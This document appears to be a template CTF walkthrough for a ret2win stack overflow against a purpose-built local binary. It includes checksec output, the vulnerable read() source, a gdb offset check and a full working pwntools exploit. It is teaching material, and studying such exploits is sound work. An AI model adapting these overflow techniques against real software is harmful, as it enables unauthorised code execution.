

EXAMPLE — ret2win Stack Overflow (pipeline demonstration)

Event: BUP CSE Fest 2026 CTF (Online Preliminary, 19 Sep 2026)

Category: Pwn

Points: n/a (worked example, not a real challenge)

Target / artifact: local ELF binary `chall` (x86-64, no PIE, no canary, NX on)

Solved at: n/a **Time to solve:** ~4 minutes

```
FLAG{selftest_pwn_ret2win_works}
```

1. What we were given

A 64-bit ELF binary was provided with no source. It asks for input on stdin, echoes "thanks", and exits. The goal is to read the flag the program is capable of printing.

Note: this is a *worked example* built to prove the toolchain works end to end. It demonstrates the exact format every real walkthrough will follow.

2. Reconnaissance — what I tried and what came back

First question on any binary: **what protections are in play?** That single answer decides which exploit class is even possible.

```
pwn checksec ./chall
```

```
[*] './chall'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

What this told us: No canary and no PIE is the ideal case — a plain stack overflow can overwrite the return address with an *absolute* address. NX is on, so we cannot just run

shellcode on the stack; we must reuse code that already exists in the binary. That points straight at **ret2win**: jump to a function that already prints the flag.

So we look for such a function:

```
python3 -c "  
from pwn import *  
e = ELF('./chall', checksec=False)  
for s in ('win', 'vuln', 'main'):  
    print(s, hex(e.sym[s]))  
"
```

```
win 0x401176  
vuln 0x4011fd  
main 0x40125a
```

What this told us: there is a symbol literally named `win` at `0x401176`. That is the target.

3. The vulnerability — root cause

`vuln()` allocates a 64-byte stack buffer and then reads up to 256 bytes into it:

```
void vuln(void) {  
    char buf[64];  
    read(0, buf, 256);    // <-- reads 4x more than the buffer holds  
}
```

`read()` does not know or care how big `buf` is. It will happily write 256 bytes starting at the buffer, past its end, straight through the saved frame pointer and into the **saved return address**. When `vuln()` returns, the CPU jumps to whatever address we put there.

The bug class: **unbounded read into a fixed-size stack buffer** — a classic stack buffer overflow.

4. Exploitation — exact steps

A 32-byte stack buffer would be at offset 32. Here the buffer is 64 bytes, and above it sits the saved base pointer (8 bytes on x86-64):

```
offset = 64 (buffer) + 8 (saved rbp) = 72
```

We verify that rather than trusting the arithmetic — crash it with a cyclic pattern and read back the value that lands in `rbp`:

```
gdb -q -batch -ex run -ex "info registers rbp" \  
--args ./chall < (python3 -c "import sys;sys.stdout.buffer.write(b'A'*200)")
```

```
$rbp = 0x4141414141414141 ("AAAAAAA")
```

Confirmed: 64 bytes of buffer, then the saved `rbp`.

The exploit overwrites at offset 72 with the address of `win`:

```
from pwn import *
context.log_level = 'error'
exe = context.binary = ELF('./chall', checksec=False)
io = process('./chall')
io.recvuntil(b'give me input:')
io.sendline(flat({72: exe.symbols['win']})) # 64 buf + 8 saved rbp = 72
print(io.recvall(timeout=5).decode(errors='replace'))
```

`flat({72: addr})` is pwntools shorthand for "72 bytes of padding, then this address".

5. Capturing the flag

Running the exploit:

```
python3 exploit.py
```

```
thanks
FLAG{selftest_pwn_ret2win_works}
```

The `win()` function opens `flag.txt` and prints it — we never wrote any shellcode, we simply made the program call its own function.

6. Why this worked — the concept

The program trusted that 256 bytes would fit in a 64-byte space, so an attacker who sends more than 64 bytes controls the saved return address. Because PIE is disabled, that address is fixed and known at compile time, so we can write a literal constant into the payload. Because NX is enabled, we do not inject new code — we redirect execution into a function that already exists.

In one sentence: **the program let us overwrite the return address, and there was already a function that does what we want.**

7. How to recognise this next time

- `checksec` shows **No canary** + **No PIE** → stack overflow with an absolute address is on the table.
- A symbol like `win` / `flag` / `get_flag` / `print_flag` exists in the binary.
- The vulnerable function reads/ `gets()` / `strcpy()` s into a fixed-size local buffer.

8. Appendix — scripts, payloads, artifacts

- `artifacts/exploit.py` — the full pwntools exploit
 - `artifacts/chall.c` — the vulnerable source (constructed for this example)
-

Briefing crib sheet

A 64-byte stack buffer was filled with 256 bytes via `read()`, so the saved return address at offset 72 was attacker-controlled. `checksec` showed no canary and no PIE, so the address was a fixed constant. The binary contained a `win()` function that prints the flag; I overwrote the return address with `0x401176` using pwntools `flat({72: win})`. No shellcode was needed because NX was on — I redirected execution into code that already existed. The root cause is an unbounded `read()` into a fixed-size buffer.